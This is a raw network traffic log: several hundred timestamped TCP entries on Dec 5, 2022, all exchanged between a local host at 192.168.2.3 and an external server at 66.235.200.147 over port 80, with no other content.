Dec 5, 2022 06:44:36.426362038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426379919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426378965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426378965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426400900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426419020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426419973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426440954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426459074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426466942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426479101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426496983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426507950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426516056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426534891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426552057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426561117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426569939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426583052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426589012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426609039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426620007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426628113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426646948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426656008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426666021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426685095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426691055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426703930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426723003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426739931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426752090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426758051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426770926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426778078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426795959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426808119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426815033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426834106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426846981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426852942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426872015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426886082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426902056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426920891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426924944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.426939011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426959038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426980019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.426983118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427012920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427062988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427082062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427122116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427192926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427252054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427270889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427313089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427313089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427315950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427335024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427355051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427382946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427388906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427408934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427428961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427447081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.427453995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427476883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.427508116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428035021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428054094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428097963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428098917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428118944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428131104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428138018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428158045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428169966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428177118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428195953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428210020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428215981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428236961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428241014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428286076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428298950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428304911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428353071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428358078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428373098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428390980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428410053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428417921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428430080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428448915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428466082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428468943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428486109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428495884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428504944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428524017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428529024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428741932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428756952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428762913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428781986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428801060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428821087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428824902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428839922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428855896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428858995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428879023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428884029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428898096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428916931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428927898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428935051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428956985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428975105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.428980112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.428992987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429007053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429168940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429269075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429286957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429305077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429323912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429344893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429354906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429363966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429379940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429383039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429400921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429410934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429421902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429442883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429455042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429461956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429481030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429493904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429500103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429528952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429536104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429555893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429574013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429591894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429601908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429611921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429625988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429630995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429650068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429666042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429668903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429688931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429702044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429708958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429727077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429740906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429747105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429764032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429769039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429811001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429811001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429830074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429848909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429873943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429908037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429927111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429944038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429961920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.429969072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.429995060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430011988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430031061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430049896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430068970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430078030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430088043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430099964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430108070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430129051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430138111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430149078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430193901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430198908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430212021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430257082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430294037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430310965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430327892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430336952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430345058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430365086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430383921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430388927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430402040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430412054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430424929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430442095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430469990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430490971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430582047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430599928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430617094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430648088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430685043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430702925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430721045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430737972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430748940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430754900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430773020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430773973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430792093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430808067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430809975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430828094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430831909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430846930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430865049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430886030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430891991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430912018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430913925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430929899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430948973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430967093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430975914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.430985928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.430998087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431005001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431022882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431041002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431050062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431066036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431076050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431085110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431104898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431122065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431130886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431158066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431158066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431394100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431474924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431493044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431544065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431552887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431571960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431588888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431598902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431607008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431624889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431638956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431643963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431663036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431674957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431680918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431700945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431706905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431720018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431737900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431756020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431762934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431775093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431792974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431792974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431792974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431813955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431828976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431828976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431830883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431849957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431868076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431885958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431894064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431904078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431921959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431932926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431938887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431957960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431973934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.431977987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.431997061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432084084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432101011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432118893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432147980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432162046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432200909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432219982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432236910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432255983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432272911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432296038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432327032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432346106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432363033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432380915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432398081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432418108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432434082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432440042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432452917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432466030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432471037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432491064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432502985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432509899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432528973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432533979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432548046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432565928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432583094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432590008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432600975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432615042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432619095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432637930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432646036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432653904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432698011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432876110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432893991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432912111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432924986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.432929993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.432971954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433013916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433033943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433053017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433072090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433082104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433092117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433094978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433111906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433130980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433149099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433157921 CET	49704	80	192.168.2.3	66.235.200.147
